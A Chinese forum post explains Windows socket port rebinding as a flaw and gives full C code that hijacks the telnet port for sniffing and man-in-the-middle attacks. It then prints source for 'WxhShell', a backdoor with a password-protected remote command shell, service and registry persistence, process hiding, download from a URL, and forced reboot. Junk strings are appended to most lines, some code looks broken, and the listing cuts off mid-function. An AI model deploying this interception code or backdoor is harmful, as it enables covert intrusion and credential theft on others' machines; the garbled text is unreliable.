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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f@ILC=c<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DLN zH  
q+BG  
  saddr.sin_family = AF_INET; 3T/&T`T+c  
@1A.$:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '5(T0Ws/w  
@A|#/]S1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &~c`p[  
W9QVfe#s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dJe 3DW :  
uO)vGzt3^x  
  这意味着什么?意味着可以进行如下的攻击: 2;K2|G7  
Jflm-Hhsf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J |w%n5Y  
8O_yZ ~Z4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DKF` xuJP  
[$c"}=g[+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &`,Y/Cbw  
@*E=O|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8#w%qij  
ME66BWg{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <.2jQ#So  
lPD&Doa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pL . 0_  
!X9^ L^v}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^zW=s$\Fo  
=Qf{  
  #include  \EXa 9X2  
  #include ~)VI` 36X  
  #include R9  Y@I  
  #include    ];'7~",Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z8XWp[K  
  int main() {.?pl]Zl6  
  { dvM%" k  
  WORD wVersionRequested; phQ{<wzwp  
  DWORD ret; s\< @v7A  
  WSADATA wsaData; FKPR;H8>  
  BOOL val; *I[tIO\  
  SOCKADDR_IN saddr; :H:Se  
  SOCKADDR_IN scaddr; aU@1j;se@  
  int err; E $P?%<o  
  SOCKET s; ]V)*WP#a  
  SOCKET sc; W4bN']?  
  int caddsize; ;E ,i  
  HANDLE mt; * F_KOf9p  
  DWORD tid;   "jLC!h^N  
  wVersionRequested = MAKEWORD( 2, 2 ); :G#+ 5 }  
  err = WSAStartup( wVersionRequested, &wsaData ); cvQAo|  
  if ( err != 0 ) { i{16&4 '  
  printf("error!WSAStartup failed!\n"); <xe_t=N  
  return -1; Cg|\UKfy$  
  } LIrebz  
  saddr.sin_family = AF_INET; =kf"%vFV  
   |MOz> 1<a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ddN G :  
DN iH" 0%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -L<FVB  
  saddr.sin_port = htons(23); nEPTTp+B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *U}ztH-+/  
  { zkiwFEHA=  
  printf("error!socket failed!\n"); >FKwFwT4D  
  return -1; 80`$F{xcX  
  } f7|Tp m  
  val = TRUE; Zu<S<??Jf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -w>ss&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d"n"A?nXh  
  { Pf/8tXs}  
  printf("error!setsockopt failed!\n"); 0yvp>{;p  
  return -1; :wN !E{0j  
  } 1 +Ue m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1J72*`4OK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 K- $,:28  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &YcOmI/MM  
'kco. 1{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pp@B]We  
  { Ni%@bU $  
  ret=GetLastError(); ($>m]|  
  printf("error!bind failed!\n"); ?20R\ ]U  
  return -1; $7ix(WL<%  
  } HOF=qE*p  
  listen(s,2); bdLi _k  
  while(1) `23][V  
  { 9UVT]acq  
  caddsize = sizeof(scaddr); aj,o<J  
  //接受连接请求 3<xDxj 0<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >x3lA0m  
  if(sc!=INVALID_SOCKET) +jK-k_  
  { oH!O{pQK}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,QpFVlPU  
  if(mt==NULL) |2%|=   
  { 0AdxV?6z  
  printf("Thread Creat Failed!\n"); Fi;H   
  break; 0~K&P#iR  
  } [3I|MZ  
  } c/ih%xR  
  CloseHandle(mt); h5pfmN\-5  
  } rmo\UCD  
  closesocket(s); dGi HO  
  WSACleanup(); I{r*Y9  
  return 0; "*.N'J\  
  }   }r!+wp   
  DWORD WINAPI ClientThread(LPVOID lpParam) lG Bg8/[  
  { Lr 5{c5M  
  SOCKET ss = (SOCKET)lpParam; 01n132k  
  SOCKET sc; y4LUC;[n  
  unsigned char buf[4096]; :enR8MS  
  SOCKADDR_IN saddr; @K+gh#  
  long num; uo J0wG.  
  DWORD val; ~#jiX6<I  
  DWORD ret; H17I" 5N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 xb<|m2<)H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AS@(]T#R  
  saddr.sin_family = AF_INET; 2%L`b"9}V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \D(3~y>  
  saddr.sin_port = htons(23); ajtH 1Z#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <nN.$4~X  
  { P.5l9N s(O  
  printf("error!socket failed!\n"); L<0_e^8  
  return -1; * Ogf6  
  } ,a,2I  
  val = 100; Nh_\{ &r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hc+B+-,  
  { >X eXd{$  
  ret = GetLastError(); (tOhuSW  
  return -1; 'vZIAnB8  
  } \~z$'3H`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R y#C#0  
  { Hz."4nhv  
  ret = GetLastError(); ~59lkr8  
  return -1; :i4(cap&}F  
  } -{ 1P`&G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <Q/)SN6_E  
  { kY'Wf`y(  
  printf("error!socket connect failed!\n"); *d;TpwUI  
  closesocket(sc); vdAd@Z~\  
  closesocket(ss); -l57!s~V  
  return -1; pCrm `hy(  
  } lFnYQab  
  while(1) lTP#6zqfv  
  { Xd5s8C/}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o2U5irU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 MO0NNVVi%U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0bM_EC  
  num = recv(ss,buf,4096,0); Wm`*IBWA  
  if(num>0) =g! Pw]  
  send(sc,buf,num,0); ;'8Wl  
  else if(num==0) rMi\#[o B  
  break; GRbbU#/=G  
  num = recv(sc,buf,4096,0); qar{*>LCG  
  if(num>0) Vjv6d&Q  
  send(ss,buf,num,0); `Ucj_6&Tqs  
  else if(num==0) fc8ODk*;E  
  break; k|?[EWIi^  
  } 3&7? eO7*  
  closesocket(ss); VGD~) z57  
  closesocket(sc); &C+2p  
  return 0 ; XLCqB|8`V  
  } Z>bNU  
_!qD/ [/  
Ca5#'3Eh  
========================================================== >Ti%Th,  
J ( d[05x0  
下边附上一个代码,,WXhSHELL Ih|4ISI  
a;Y:UwD9*  
========================================================== &RARK8 ^  
xS tsw5d  
#include "stdafx.h" 6h)_{| L)  
T?m@`"L,  
#include <stdio.h> qz]qG=wmL  
#include <string.h> X+N5iT  
#include <windows.h>  P>iZ gv  
#include <winsock2.h> eG!ma`v  
#include <winsvc.h>  ^AaE$G&:  
#include <urlmon.h> *)-@'{]uB  
Ovk=s,a)K  
#pragma comment (lib, "Ws2_32.lib") BLt58LYGX  
#pragma comment (lib, "urlmon.lib") qX5>[qf-  
}bca-|N  
#define MAX_USER   100 // 最大客户端连接数 $Y_S`#c@i  
#define BUF_SOCK   200 // sock buffer QJ;dw8  
#define KEY_BUFF   255 // 输入 buffer 1g{}O^ul  
SA}Dkt&,  
#define REBOOT     0   // 重启 = NZgbl  
#define SHUTDOWN   1   // 关机 f0sLe 3  
$&Vba@v  
#define DEF_PORT   5000 // 监听端口 ZH;4e<gg  
MWA,3I\.  
#define REG_LEN     16   // 注册表键长度 sIf]e'@AC  
#define SVC_LEN     80   // NT服务名长度 Z/G#3-5)p  
F&R*njJcc  
// 从dll定义API M-i3_H)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9X 4[Zk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SR?mSpq5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2e%\aP`D2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *cXq=/s  
ZBpcC0 z  
// wxhshell配置信息 5H XF3  
struct WSCFG { :cWU,V  
  int ws_port;         // 监听端口 5["3[h  
  char ws_passstr[REG_LEN]; // 口令 5uQ+'*xN%  
  int ws_autoins;       // 安装标记, 1=yes 0=no f;BY%$  
  char ws_regname[REG_LEN]; // 注册表键名 D1ZyJs#  
  char ws_svcname[REG_LEN]; // 服务名 }i"[5:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $Bz};@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hQ<7k'V  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =bC'>qw}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /7#e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T^|k`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w=;>  
A/I\MN|  
}; 0l[52eZ/  
sk39[9  
// default Wxhshell configuration SkmTW@v  
struct WSCFG wscfg={DEF_PORT, -`XS2  
    "xuhuanlingzhe", -_t4A *  
    1, XJeWhk3R9  
    "Wxhshell", ptT-{vG  
    "Wxhshell", :Q("  
            "WxhShell Service", Ue 9Y+'-x  
    "Wrsky Windows CmdShell Service", {Z8GG  
    "Please Input Your Password: ", ]#f%Dku.m  
  1, lL:!d.{  
  "http://www.wrsky.com/wxhshell.exe", 4E5;wH  
  "Wxhshell.exe" 9&f+I@K  
    }; CdRJ@Lf  
S!u8JG1  
// 消息定义模块 6WZffB{-TK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \f^xlX3&`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ca7Y+9< ;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &mVClq  
char *msg_ws_ext="\n\rExit."; e`g+Jf`AT  
char *msg_ws_end="\n\rQuit."; kh.P)h'9  
char *msg_ws_boot="\n\rReboot..."; u:|^L]{  
char *msg_ws_poff="\n\rShutdown..."; qH4|k 2Lm  
char *msg_ws_down="\n\rSave to "; $+GDPYm'  
u*2?Gky  
char *msg_ws_err="\n\rErr!"; *w4#D:g  
char *msg_ws_ok="\n\rOK!"; @ !su7  
k*N!U[]  
char ExeFile[MAX_PATH]; !38KHq^|&  
int nUser = 0; vO2WZ7E!  
HANDLE handles[MAX_USER]; tNr'@ls  
int OsIsNt; bI:W4y>I=  
5e,u*J]  
SERVICE_STATUS       serviceStatus; >eG<N@13p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v2rO>NY4  
^PNDxtd|v  
// 函数声明 <<?32r~  
int Install(void); o=7,U/{D!  
int Uninstall(void); 6 ScB:8M  
int DownloadFile(char *sURL, SOCKET wsh); |E?r+]  
int Boot(int flag); <">epbV6  
void HideProc(void); C3W4:kbau  
int GetOsVer(void); yYJ_;Va  
int Wxhshell(SOCKET wsl); J1I,;WGf  
void TalkWithClient(void *cs); _"@:+f,  
int CmdShell(SOCKET sock); aBReIK o  
int StartFromService(void); ?HPAX  
int StartWxhshell(LPSTR lpCmdLine); q( ~rk  
z7IJSj1gQI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Rmmu#-{Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `OMX 9i  
#'1dCh vZ  
// 数据结构和表定义 /Z?o%/bw:  
SERVICE_TABLE_ENTRY DispatchTable[] = P05`DX}r,  
{ -V{"Lzrfug  
{wscfg.ws_svcname, NTServiceMain}, xkRMg2X.>9  
{NULL, NULL} kqih`E9P7B  
}; 1i$VX|r  
7\%JJw6h  
// 自我安装 %f&Y=  
int Install(void) YOLzCnI4  
{ uT, i&  
  char svExeFile[MAX_PATH]; LcvczS T  
  HKEY key; ,V!"4 T,Z  
  strcpy(svExeFile,ExeFile); 9F[3B`w  
f:+/= MW  
// 如果是win9x系统,修改注册表设为自启动 uc+{<E3,%  
if(!OsIsNt) { oB5\^V$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ph""[0n%o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G!$~'o%/  
  RegCloseKey(key); 3ArHaAv{y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FulFEnSV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ].xSX0YQ%  
  RegCloseKey(key); %:`v.AG  
  return 0; o]&q'>Rf  
    } =QVkY7  
  } 6:|;O  
} 'k\j[fk/K  
else { FhY#3-jH  
R&(OWF;~,  
// 如果是NT以上系统,安装为系统服务 ~wuCa!!A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yC1OeO8{  
if (schSCManager!=0) {p1`[R&n#  
{ RD[P|4eY  
  SC_HANDLE schService = CreateService @-[}pZ/  
  ( 9#U]?^DJ@  
  schSCManager, qzNb\y9G  
  wscfg.ws_svcname, })^eaLBR4  
  wscfg.ws_svcdisp, }UsH#!9.  
  SERVICE_ALL_ACCESS, %pq.fZ I   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QGfwvFm  
  SERVICE_AUTO_START, w;ZT-Fti  
  SERVICE_ERROR_NORMAL, <}[ !k<  
  svExeFile, jw{N#QDh  
  NULL,  :'F,l:  
  NULL, 'qT;Eht5  
  NULL, +Xw%X3o)  
  NULL, zs]ubJC@  
  NULL sc+%v1Y#}  
  ); J@/4CSCR]  
  if (schService!=0) k@lJ8(i^qU  
  { SeXgBbGAne  
  CloseServiceHandle(schService); 9Zl4NV&B  
  CloseServiceHandle(schSCManager); z9IW&f~~P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u]NsCHKlT  
  strcat(svExeFile,wscfg.ws_svcname); `{{6vb^g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UZs '[pm)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cJ$jU{}  
  RegCloseKey(key); lfM vNv  
  return 0; KDEyVYO:  
    } N}U+K  
  } ]dGH i \  
  CloseServiceHandle(schSCManager); 0'*{BAWx  
} ek<B=F  
} of*T,MUI  
]2f-oz*hU  
return 1; H6`k%O*  
} TfZM0Wz  
wnd #J `  
// 自我卸载 @>46.V{P}B  
int Uninstall(void) 8m' f8.x  
{ Vc9Bg2f5  
  HKEY key; ":+d7xR?o  
I= :yfW  
if(!OsIsNt) { D+uo gRS61  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vaF1e:(  
  RegDeleteValue(key,wscfg.ws_regname); %!Eh9C*  
  RegCloseKey(key); IQ\!wWKmY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &_Cc  
  RegDeleteValue(key,wscfg.ws_regname); i/_rz.c~3  
  RegCloseKey(key); 'Iw`+=iVz  
  return 0; p]S'pzh  
  } A<c<!N  
} }bw^p.ci  
} Te}gmt+#%  
else { 16Ka>=G  
Fu{VO~w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $rj:K)P  
if (schSCManager!=0) 2i6=g<   
{ -'miM ~kG[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %_:L_VD@  
  if (schService!=0)  )XonFI  
  { r&R~a9+)  
  if(DeleteService(schService)!=0) { cu}(\a  
  CloseServiceHandle(schService); UUWRC1EtI  
  CloseServiceHandle(schSCManager); >b\|%=(x!*  
  return 0; v0) %S  
  } E!}'cxb^  
  CloseServiceHandle(schService); g0biw?  
  } o0No"8DnjH  
  CloseServiceHandle(schSCManager); l,Q`;v5|  
} 31^/9lb  
} 90+Vw`Gz=  
/'{vDxZf R  
return 1; <fBJ@>  
} tBzE(vW  
[K #$W  
// 从指定url下载文件 XO?WxL9k]  
int DownloadFile(char *sURL, SOCKET wsh) L>/$l(  
{ zZ-/S~l  
  HRESULT hr; pSQ2wjps  
char seps[]= "/"; qdk!.A{   
char *token; Vr1r2G2  
char *file; |g{50 r'=  
char myURL[MAX_PATH]; J ##a;6@  
char myFILE[MAX_PATH]; Y_]y :H  
h/C{  
strcpy(myURL,sURL); AUF[hzA  
  token=strtok(myURL,seps); |+8rYIms`  
  while(token!=NULL) V8F! o  
  { Oq<3&*  
    file=token; !8|r$mN8  
  token=strtok(NULL,seps); bhRa?wuoY  
  } k2->Z);X  
uYs45 G  
GetCurrentDirectory(MAX_PATH,myFILE); 4mW$+lzn  
strcat(myFILE, "\\"); pR0 !bgC  
strcat(myFILE, file); _^{RtP#=  
  send(wsh,myFILE,strlen(myFILE),0); n>JJ Xw,,  
send(wsh,"...",3,0); hH>a{7V   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #QlxEs#%  
  if(hr==S_OK) 6E_~8oEl  
return 0; a m5;B`}q  
else R7:u 8-dU1  
return 1; ~,s'-  
_0naqa!JyH  
} aC9iNm8w  
*cFGDQ !  
// 系统电源模块 P)y2'JKL  
int Boot(int flag) }duqX R  
{ arKf9`9  
  HANDLE hToken; M3KK^YRN  
  TOKEN_PRIVILEGES tkp;  -+qg  
BuM #&]s  
  if(OsIsNt) { 0*P-/)o x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gmTBp}3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]c_lNHssmq  
    tkp.PrivilegeCount = 1; ~,F]~|U7l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C-49u<; ,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gYh o$E  
if(flag==REBOOT) { 2PPb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C4X3;l Z%S  
  return 0; +{6:]  
}  1l}Am>}  
else { DZESvIES  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~<IQe-Q 5  
  return 0; N>L)2WKFT  
} )=glN<*?  
  } ?:GrM!kq76  
  else { zBI2cB8;P  
if(flag==REBOOT) { [xfg6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p `oB._ R  
  return 0; ,lCFe0>k!=  
} +c]D2@ctG  
else { S~z$ =IiB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y -BZV |  
  return 0; KvPLA{  
} H^B,b !5i  
} xV`)?hEXFh  
hms Aim9i  
return 1; mOjjw_3gq  
} `K$;K8!1  
dEf5x_TGm  
// win9x进程隐藏模块 kMzDmgoxNg  
void HideProc(void) * kL>9  
{ ):+^893)  
k|]l2zlT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "j&p3  
  if ( hKernel != NULL ) YuoErP=P  
  { M?gZKdj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $y<`Jy]+)~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _wg~5'w8  
    FreeLibrary(hKernel); v7+|G'8M`  
  } kiin78W  
S._h->5f  
return; \ X6y".|-  
} (Ze\<Y#cv  
h52+f  
// 获取操作系统版本 7 oYD;li$k  
int GetOsVer(void) h4slQq~K  
{ )=N.z6?  
  OSVERSIONINFO winfo; h_Er$ZT64  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >9g^-~X;v  
  GetVersionEx(&winfo); E/% F0\B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I2z7}*<u  
  return 1; Br$/hn=  
  else ;%>X+/.y0  
  return 0; x1CMW`F  
} 4^6Oh#p0  
>Zf*u;/dW$  
// 客户端句柄模块 su-0G?c  
int Wxhshell(SOCKET wsl) q{yzux  
{ gs@^u#O  
  SOCKET wsh; z;0]T=g  
  struct sockaddr_in client; [ifQLsHA  
  DWORD myID; OWN|W,  
%z @T /  
  while(nUser<MAX_USER) "VsS-b^P  
{ HqOnZ>D  
  int nSize=sizeof(client); Oh}@c~7;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t!ZFpMv]n  
  if(wsh==INVALID_SOCKET) return 1; ,b+Hy`t  
a  ?wg~|g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9FT==>  
if(handles[nUser]==0) h* /  
  closesocket(wsh); wz:w6q  
else }u5J<*:bZ  
  nUser++; 7w0=i Z>K  
  } ,.gI'YPQC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4x/u$Ixzh=  
`Uk jr MO  
  return 0; &)~LGWBdC  
} xA}{ZnTbN  
i079 V  
// 关闭 socket \>eFs} Y/  
void CloseIt(SOCKET wsh) 8wS9%+  
{ f K4M:_u  
closesocket(wsh); } 4>#s$.2  
nUser--;  Z\$!:  
ExitThread(0); 4T<dI6I0  
} |@ZyD$?  
jm |zn  
// 客户端请求句柄 h/l?,7KHI  
void TalkWithClient(void *cs) N4 _V  
{ ~-(X\:z}  
;Y &2G'  
  SOCKET wsh=(SOCKET)cs; tkix@Q!;\  
  char pwd[SVC_LEN]; _..5G7%#%  
  char cmd[KEY_BUFF]; l?beqw:  
char chr[1]; Cmj `WSSa  
int i,j; 'ka"0~:NS{  
stCFLYox  
  while (nUser < MAX_USER) { Q[Tbdc%1EG  
Nk>6:Ho{G  
if(wscfg.ws_passstr) { ZOzyf/?.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rmnnV[@o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4_Rv}Y d  
  //ZeroMemory(pwd,KEY_BUFF); &-Z#+>=H(  
      i=0; :Z5kiEwYM  
  while(i<SVC_LEN) { >LB x\/  
h6Hop mWVx  
  // 设置超时 @] {:juD~  
  fd_set FdRead; tbi(e49S  
  struct timeval TimeOut; gem+$TFq  
  FD_ZERO(&FdRead); n<sA?T  
  FD_SET(wsh,&FdRead); ,PyPRPk  
  TimeOut.tv_sec=8; rg+3pX\{  
  TimeOut.tv_usec=0;  M Xl!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]jJ4\O`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IRDD   
:&D$Q 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z@:R'u2Lk  
  pwd=chr[0]; }pPt- k  
  if(chr[0]==0xd || chr[0]==0xa) { }Qvoms<k  
  pwd=0; wsCT9&p  
  break; ok9G9|HA  
  } %6<2~  
  i++; :20k6)  
    } A}n5dg0u  
AwGDy +  
  // 如果是非法用户,关闭 socket j: B,K.:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E@;v|Xc  
} 1^=[k  
4=n%<U`Z/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 27jZ~Bp$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0 :1ldU 4  
12%4>2}~>  
while(1) { - e"XEot~  
8 K>Ejr  
  ZeroMemory(cmd,KEY_BUFF); ,}42]%$ G  
9]/j u  
      // 自动支持客户端 telnet标准   W.U|mNJ$  
  j=0; \~q cYp  
  while(j<KEY_BUFF) { o!t1EPJE*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -wV0Nv(V8  
  cmd[j]=chr[0]; 38q0iAH  
  if(chr[0]==0xa || chr[0]==0xd) { i0~L[v9l<  
  cmd[j]=0; fYv{M;  
  break; I*)eP||  
  } ma4r/8Q  
  j++; gbRdng7(}  
    } /-)|dP  
-`ykVH gg  
  // 下载文件 U^X8{,8O  
  if(strstr(cmd,"http://")) { -?<L"u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Bc)QKh`l|  
  if(DownloadFile(cmd,wsh))  =!Y{Mz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%GMbO_  
  else OL"So u4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _.Bite^  
  } >'zp  
  else { '}wYSG-  
*Cgd?*\7  
    switch(cmd[0]) { *:A )j?(  
  `Lu\zR%<  
  // 帮助 }UWRH.;v  
  case '?': { eL!G, W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %z0@4G q  
    break; :O}<Q  
  } XUT\nN-N  
  // 安装 L:F:ZOM6`  
  case 'i': { jNNl5.  
    if(Install()) 9qQFIw~S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @V-CG!  
    else &_E*]Sj\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W\<5'9LNb  
    break; HCifO  
    } ,Pd2ZfZ  
  // 卸载 [%8+Fa~Wa  
  case 'r': { "]`QQT-{0  
    if(Uninstall()) ^i^S1h"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j{'@g[HW  
    else gB@Wv9 1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .tb~f@xL  
    break; 3,B[%!3d  
    } I1H:h  
  // 显示 wxhshell 所在路径 <cz~q=%v2&  
  case 'p': { wB( igPi  
    char svExeFile[MAX_PATH]; 6l$o^R^D  
    strcpy(svExeFile,"\n\r"); '17u Wq  
      strcat(svExeFile,ExeFile); rbP3&L  
        send(wsh,svExeFile,strlen(svExeFile),0); yx}Z:t  
    break; *lG$B@;rc|  
    } y!^RL,HIL  
  // 重启 /(nA)V( :  
  case 'b': {  U\~[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  OkO"t  
    if(Boot(REBOOT)) <`9:hPp0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \rf1#Em  
    else { t>v']a +k  
    closesocket(wsh); EH$wW l^  
    ExitThread(0); i,,>@R  
    } z[ ;{p.W  
    break;  . yu  
    } LVLh&9  
  // 关机 +T^m  
  case 'd': { WiviH#hF  
